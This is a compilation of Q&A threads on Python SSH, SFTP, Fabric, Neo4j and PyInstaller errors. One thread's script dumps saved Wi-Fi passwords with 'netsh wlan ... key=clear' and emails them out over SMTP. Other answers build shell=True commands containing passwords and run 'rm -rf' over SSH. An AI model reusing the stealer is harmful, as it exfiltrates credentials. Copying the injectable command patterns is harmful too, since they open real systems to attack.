Using passwords in fabric execute command - python

I was trying to pull the logs from one of our servers using fabric. This needs to be executed from a different python program. The problem is we don't have SSH keys and we have only passwords. Could you please help me to provide passwords to connect to the server?
Code:
from fabric.api import *
from fabric.tasks import execute
def get_logs():
get('/var/logs/custom', ".")
if __name__ == '__main__':
execute(get_logs, hosts=["username#hostname",])
Error
**[username#hostname] Executing task 'get_logs'
Traceback (most recent call last):
File "D:\Python\ws\fabric\Fabric_test\example.py", line 8, in <module>
execute(get_logs, hosts=["username#hostname",])
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 368, in execute
multiprocessing
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 264, in _execute
return task.run(*args, **kwargs)
File "D:\Python\ws\fabric\lib\site-packages\fabric\tasks.py", line 171, in run
return self.wrapped(*args, **kwargs)
File "D:\Python\ws\fabric\Fabric_test\example.py", line 5, in get_logs
get('/var/logs/custom/', ".")
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 639, in host_prompting_wrapper
return func(*args, **kwargs)
File "D:\Python\ws\fabric\lib\site-packages\fabric\operations.py", line 528, in get
ftp = SFTP(env.host_string)
File "D:\Python\ws\fabric\lib\site-packages\fabric\sftp.py", line 30, in __init__
self.ftp = connections[host_string].open_sftp()
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 151, in __getitem__
self.connect(key)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 143, in connect
self[key] = connect(user, host, port, cache=self)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 523, in connect
password = prompt_for_password(text)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 604, in prompt_for_password
new_password = _password_prompt(password_prompt, stream)
File "D:\Python\ws\fabric\lib\site-packages\fabric\network.py", line 576, in _password_prompt
return getpass.getpass(prompt.encode('ascii', 'ignore'), stream)
TypeError: pydev_getpass() takes at most 1 argument (2 given)
**

It looks like you are running the script from IDE (PyDev) that replaces getpass.getpass() function by its own function pydev_getpass() that has different signature (it doesn't accept the second argument stream).
If you run the script from the command line; you should not get this error.

Finally solved by executing as a OS Shell Command. Here is the entire snippet.
import os, shutil
from subprocess import check_output
from fabric.api import get
def get_logs(source_dir):
get('/var/logs/custom', source_dir)
def fetch_logs(hostname, username, password):
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
current_file_name = os.path.abspath(__file__).replace(".pyc", ".py")
local_path = os.path.join(BASE_DIR, 'data', hostname)
try:
shutil.rmtree(local_path)
except:
pass
exe = os.path.join(BASE_DIR, "..", "Scripts", "fab.exe")
input_cmd = exe + " -H " + hostname + " -u " + username + " -p " + password + " -f " + current_file_name + " get_logs:source_dir:" + local_path
try:
check_output(input_cmd, shell=True)
except Exception as e:
print e
return False
shutil.move(os.path.join(BASE_DIR, 'download'), local_path)
return True

Related

Unable to transfer file from master node to minion nodes using sftp in a python script

I am trying to send a file from the master node to minion nodes using a python script but a single error OSError: Failure keeps on coming up.
I tried to code this file to send this file from one local machine to another local machine.
My code:
#! /usr/bin/python
#! /usr/bin/python3
import paramiko
import os
#Defining working connect
def workon(host):
#Making a connection
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #To add the missing host key and auto add policy
ssh_client.connect(hostname = host, username = 'username', password = 'password')
ftp_client = ssh_client.open_sftp()
ftp_client.put("/home/TrialFolder/HelloPython", "/home/")
ftp_client.close()
#stdin, stdout, stderr = ssh_client.exec_command("ls")
#lines = stdout.readlines()
#print(lines)
def main():
hosts = ['192.16.15.32', '192.16.15.33', '192.16.15.34']
threads = []
for h in hosts:
workon(h)
main()
Error:
Traceback (most recent call last):
File "PythonMultipleConnectionUsinhSSH.py", line 28, in <module>
main()
File "PythonMultipleConnectionUsinhSSH.py", line 26, in main
workon(h)
File "PythonMultipleConnectionUsinhSSH.py", line 15, in workon
ftp_client.put("/home/Sahil/HelloPython", "/home/")
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 759, in put
return self.putfo(fl, remotepath, file_size, callback, confirm)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 714, in putfo
with self.file(remotepath, "wb") as fr:
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 372, in open
t, msg = self._request(CMD_OPEN, filename, imode, attrblock)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 813, in _request
return self._read_response(num)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 865, in _read_response
self._convert_status(msg)
File "/usr/local/lib/python3.6/site-packages/paramiko/sftp_client.py", line 898, in _convert_status
raise IOError(text)
OSError: Failure
First, you should make sure the target directory /home/ is writable for you. Then you should review documentation for the put method. It says this about the second argument (remotepath):
The destination path on the SFTP server. Note that the filename should be included. Only specifying a directory may result in an error.
Try including the filename in the path, like:
...
ftp_client.put("/home/TrialFolder/HelloPython", "/home/HelloPython")
...

AuthError trying to connect to neo4j from python

I'm trying to run neo4j in a docker container and connect to it from a python script not running in a container, but I'm getting AuthError.
I'm following the instructions from here
Start neo4j
docker run \
--publish=7474:7474 --publish=7687:7687 \
--volume=$HOME/neo4j/data:/data \
--volume=$HOME/neo4j/logs:/logs \
neo4j:3.5
I've also done this with these added insturctions "By default Neo4j requires authentication and requires you to login with neo4j/neo4j at the first connection and set a new password. You can set the password for the Docker container directly by specifying --env NEO4J_AUTH=neo4j/ in your run directive."
Start neo4j
docker run \
--publish=7474:7474 --publish=7687:7687 \
--volume=$HOME/neo4j/data:/data \
--volume=$HOME/neo4j/logs:/logs \
--env NEO4J_AUTH=neo4j/neo \
neo4j:3.5
After doing either of these, I am able to connect via the web interface at http://localhost:7474/
Now I want to connect with a python script as described here which has me run this code (note I've changed the password to match the NEO4J_AUTH setting from the docker command).
from neo4j import GraphDatabase
class HelloWorldExample:
def __init__(self, uri, user, password):
self.driver = GraphDatabase.driver(uri, auth=(user, password))
def close(self):
self.driver.close()
def print_greeting(self, message):
with self.driver.session() as session:
greeting = session.write_transaction(self._create_and_return_greeting, message)
print(greeting)
#staticmethod
def _create_and_return_greeting(tx, message):
result = tx.run("CREATE (a:Greeting) "
"SET a.message = $message "
"RETURN a.message + ', from node ' + id(a)", message=message)
return result.single()[0]
if __name__ == "__main__":
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo")
greeter.print_greeting("hello, world")
greeter.close()
When I run this code I get this error.
Traceback (most recent call last):
File "/Users/j/projects/neotest/neo.py", line 25, in <module>
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo4j")
File "/Users/j/projects/neotest/neo.py", line 6, in __init__
self.driver = GraphDatabase.driver(uri, auth=(user, password))
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 183, in driver
return cls.bolt_driver(parsed.netloc, auth=auth, **config)
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 196, in bolt_driver
return BoltDriver.open(target, auth=auth, **config)
File "/usr/local/lib/python3.7/site-packages/neo4j/__init__.py", line 359, in open
pool = BoltPool.open(address, auth=auth, pool_config=pool_config, workspace_config=default_workspace_config)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 531, in open
seeds = [pool.acquire() for _ in range(pool_config.init_size)]
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 531, in <listcomp>
seeds = [pool.acquire() for _ in range(pool_config.init_size)]
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 545, in acquire
return self._acquire(self.address, timeout)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 409, in _acquire
connection = self.opener(address, timeout)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 528, in opener
return Bolt.open(addr, auth=auth, timeout=timeout, routing_context=routing_context, **pool_config)
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 227, in open
raise error
File "/usr/local/lib/python3.7/site-packages/neo4j/io/__init__.py", line 222, in open
connection.hello()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 148, in hello
self.fetch_all()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 393, in fetch_all
detail_delta, summary_delta = self.fetch_message()
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 339, in fetch_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.7/site-packages/neo4j/io/_bolt3.py", line 544, in on_failure
raise AuthError(message)
neo4j.exceptions.AuthError: {code: None} {message: None}
Your error does indicate a bit different code:
Traceback (most recent call last):
File "/Users/j/projects/neotest/neo.py", line 25, in <module>
greeter = HelloWorldExample("bolt://localhost:7687", "neo4j", "neo4j")
Here it shows that you initiated the HelloWorldClass with password "neo4j" instead of "neo"

How to make a python script executable

I'm trying to make a simple python executable.
I tried it on python 3 and python 2.7, downloaded winpy32, tried it on Linux and windows, tried py-to-exe and pyinstaller. and I am still getting this error:
raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error:
here's my code:
import subprocess
import smtplib
from smtplib import *
import re
command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
final_output = ""
for network in network_list:
command2 = "netsh wlan show profile " + network + " key=clear"
a_network_result = subprocess.check_output(command2, shell=True)
final_output += a_network_result.decode()
final_output = str(final_output)
fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output
msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )
username = str('MyEmail')
password = str('MyPasswd')
#try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
here is the full trace =
79702 DEBUG: Analyzing .git\objects\78\e83411cea88cd038acb12c005a984fc0d6d423
Traceback (most recent call last):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 35, in pywin32error
yield
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
return _dll._LoadLibraryEx(fileName, 0, flags)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\core\ctypes\_util.py", line 42, in check_null
raise make_error(function, function_name)
OSError: [WinError 2] The system cannot find the file specified.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:/Users/User1/Dropbox/GitHub_Repos/DiabetesReportGenerator_v2/pyinstaller_freeze.py", line 37, in <module>
'MainWindow.py'
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 112, in run
run_build(pyi_config, spec_file, **vars(args))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 63, in run_build
PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 732, in main
build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 679, in build
exec(code, spec_namespace)
File "C:\Users\User1\Dropbox\GitHub_Repos\DiabetesReportGenerator_v2\Risk Calculator.spec", line 17, in <module>
noarchive=False)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 242, in __init__
self.__postinit__()
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\datastruct.py", line 158, in __postinit__
self.assemble()
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 468, in assemble
redirects=self.binding_redirects))
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 226, in Dependencies
for ftocnm, fn in getAssemblyFiles(pth, manifest, redirects):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 402, in getAssemblyFiles
for assembly in getAssemblies(pth):
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 353, in getAssemblies
res = GetManifestResources(pth)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winmanifest.py", line 1005, in GetManifestResources
return winresource.GetResources(filename, [RT_MANIFEST], names, languages)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winresource.py", line 168, in GetResources
hsrc = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
return _dll._LoadLibraryEx(fileName, 0, flags)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\contextlib.py", line 130, in __exit__
self.gen.throw(type, value, traceback)
File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 37, in pywin32error
raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error: (2, 'LoadLibraryExW', 'The system cannot find the file specified.')
is there maybe anything wrong with my os?
any help is welcome :)
Your code has some unrelated problems. I changed it a little and pyinstaller works as expected
import subprocess
import smtplib
#from smtplib import * Here you try to import smtplib again
#import re
# Not needed for this example
# command1 = "netsh wlan show profile"
# networks = subprocess.check_output(command1, shell=True)
# network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
#
# final_output = ""
# for network in network_list:
# command2 = "netsh wlan show profile " + network + " key=clear"
# a_network_result = subprocess.check_output(command2, shell=True)
# final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed
fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output
msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )
# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'
try: # Will always fail without real credentials
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
except smtplib.SMTPAuthenticationError:
print("The username or password were incorrect")
Worked for me under windows both python 3.7 and 3.8
Copy my code then run pyinstaller <script name>.py and see if the same error is raised again.
note: You need to run <script name>.exe from the terminal in the dist\<script name> path not build\<script name>
edit
Additional troubleshooting steps:
Try python from the python site not Microsoft store
Try a different environment (if you used venv or virtualenv try the system interpreter)
Debug your script and make sure it can be run by python before you try to package it with pyinstaller

paramiko sftp can't delete remote folder, ioerror

This is my code, to delete a remote directory using paramiko sftp.
import paramiko
host = "192.168.1.13"
port = 22
transport = paramiko.Transport((host, port))
username = "root"
password = "abc123"
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)
filepath = '/root/test_folder'
sftp.rmdir(filepath)
Execute above code will output this error,
Traceback (most recent call last):
File "autom_test.py", line 36, in <module>
sftp.rmdir(filepath)
File "/usr/lib/python2.7/site-packages/paramiko/sftp_client.py", line 390, in rmdir
self._request(CMD_RMDIR, path)
File "/usr/lib/python2.7/site-packages/paramiko/sftp_client.py", line 729, in _request
return self._read_response(num)
File "/usr/lib/python2.7/site-packages/paramiko/sftp_client.py", line 776, in _read_response
self._convert_status(msg)
File "/usr/lib/python2.7/site-packages/paramiko/sftp_client.py", line 806, in _convert_status
raise IOError(text)
IOError: Failure
This is not the case when I'm using sftp.remove(path) for a single file. But sftp.rmdir causing IOError
The syntax is from the documentation.
The error is because the destination directory has got files inside it.
Try recurssive delete instead.. See below..
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host,username=username,password=password)
filepath="/root/test_folder"
cmd = "rm -rf " + filepath
stdin, stdout, stderr = ssh.exec_command(cmd)
while not stdout.channel.exit_status_ready():
time.sleep(5)

Paramiko SFTP problems when no password is used

I need to upload some files using SFTP, this works from the command line:
$sftp myuser#my_remote_host
Connected to my_remote_host
sftp>
This is my Paramiko script:
#!/usr/bin/env python
import paramiko
import sys
import os
host = "my_remote_host"
port = 22
transport = paramiko.Transport((host, port))
username = "myuser"
LOCAL_PATH = "/tmp/"
REMOTE_PATH = "/dcs/tmp/"
FILE = "myfile"
transport.connect(username = username)
sftp = paramiko.SFTPClient.from_transport(transport)
path = LOCAL_PATH + FILE
sftp.put(LOCAL_PATH + FILE, REMOTE_PATH + FILE)
sftp.close()
transport.close()
print 'Upload done.'
When executing I get this error:
No handlers could be found for logger "paramiko.transport"
Traceback (most recent call last):
File "./my_sftp.py", line 19, in ?
sftp = paramiko.SFTPClient.from_transport(transport)
File "/usr/lib/python2.4/site-packages/paramiko/sftp_client.py", line 102, in from_transport
chan = t.open_session()
File "/usr/lib/python2.4/site-packages/paramiko/transport.py", line 655, in open_session
return self.open_channel('session')
File "/usr/lib/python2.4/site-packages/paramiko/transport.py", line 745, in open_channel
raise e
EOFError
When adding a private key I get this error:
path = os.path.join(os.environ['HOME'], '.ssh', 'id_dsa')
key = paramiko.DSSKey.from_private_key_file(path)
transport.connect(username = username, pkey=key)
Traceback (most recent call last):
File "./my_sftp.py", line 24, in ?
transport.connect(username = username, pkey=key)
File "/usr/lib/python2.4/site-packages/paramiko/transport.py", line 1007, in connect
self.auth_publickey(username, pkey)
File "/usr/lib/python2.4/site-packages/paramiko/transport.py", line 1234, in auth_publickey
return self.auth_handler.wait_for_response(my_event)
File "/usr/lib/python2.4/site-packages/paramiko/auth_handler.py", line 174, in wait_for_response
raise e
paramiko.AuthenticationException: Authentication failed.
In your first example, you can't authenticate with only a username, so the session can't be started.
I can't tell why your privatekey example isn't working without some more information. Is it possible that its the incorrect key for that server? SSH on the command line may be trying multiple keys, or getting it from an agent.
Anyway, it easier to start off with the SSHClient class. It will wrap up all the authentication, and host verification pieces in one package. It also has an open_sftp() convenience method to return an SFTPClient instance.

Categories

Resources